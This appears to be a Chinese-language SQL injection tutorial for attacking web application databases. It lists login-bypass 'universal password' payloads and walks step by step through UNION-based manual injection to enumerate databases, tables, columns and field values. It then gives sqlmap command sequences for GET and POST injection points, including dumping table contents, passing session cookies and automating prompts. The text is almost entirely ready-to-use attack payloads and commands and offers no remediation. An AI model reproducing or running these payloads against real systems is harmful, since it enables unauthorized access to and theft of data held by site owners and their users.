产生原因 产生条件 注入分类 注入方式
没有对输入的内容做好过滤,导致用户输入的数据直接拼接到SQL语句中,从而产生了非预期的效果。
根据注入点数据类型的不同,sql注入可以分为数值型和字符型
字符型 例:select 字段名 from 表名 where id=‘id’ //这里的id为字符型 select 字段名 from 表名 where id=“id” //这里的id为字符型 数值型 例:select 字段名 from 表名 where id=id //这里的id为数值型
后台登陆万能密码
1: "or “a”="a 2: ')or(‘a’='a 3:or 1=1– …… 更多万能密码可以百度搜索
基于GET型报错的注入
首先输入’ 、" 、) 、( 、\之类的字符看看服务器会不会报错根据报错分析服务器执行的sql语句利用order by 分析sql语句查询的字段数 4.使用union 联合查询查询当前数据库名 union select database() --+ //所有语句字段数必须和order by 查询的一样,字段数多于一可以用1,2等。 查询当前用户 union select user() --+ 查询当前mysql版本 union select version() --+ 查询当前所在的数据库 union select database() --+ 查询当前数据库中所有的表名 union select group_concat(table_name) from information_schema.tables where table_schema =database() --+ 查询表中的字段名 union select group_concat(column_name) from information_schema. columns where table_name=‘表名’ --+ 获取字段值 union select group_concat(字段名列表) from 表名 --+ ##字段名列表之间可以用0x3a分隔,它表示16进制的冒号
注入点在GET请求
//遍历所有的数据库 注:URL参数要用双引号包裹 sqlmap -u [URL] --dbs //遍历数据库中的数据表 sqlmap -u [URL] -D [数据库名] --tables //查看数据表中有哪些字段 sqlmap -u [URL] -D [数据库名] -T [数据表名] --columns //查看数据表中的字段值 注:字段名列表以英文逗号分隔 sqlmap -u [URL] -D [数据库名] -T [数据表名] -C [字段名列表] --dump //注:需要登录验证的,可以在语句中加入cookie字段,语法:--cookie=[cookie值,此值用双引号包裹,不要忘了前面的等于号]注入点在POST请求中
准备工作 1.抓取数据包,将数据包内容以.txt文件保存(记住保存路径) 2.打开命令行窗口,移动到刚刚文件保存的路径,然后输入sqlmap命令
//遍历数据库 注:密码是指post参数中传输密码的函数名 sqlmap -r [.txt文件名] -p [密码] --dbs //遍历数据库中的数据表 sqlmap -r [.txt文件名] -p [密码] -D [数据库名] --tables //查找数据表中有哪些字段 sqlmap -r [.txt文件名] -p [密码] -D [数据库名] -T [数据表名] --columns //查询字段值 sqlmap -r [.txt文件名] -p [密码] -D [数据库名] -T [数据表名] -C [字段名列表] --dump注:利用sqlmap注入时,我们往往要手动进行一些选择(y/n),可以在sqlmap语句中加入–batch,这样sqlmap会自动帮我们选择,不用手动选择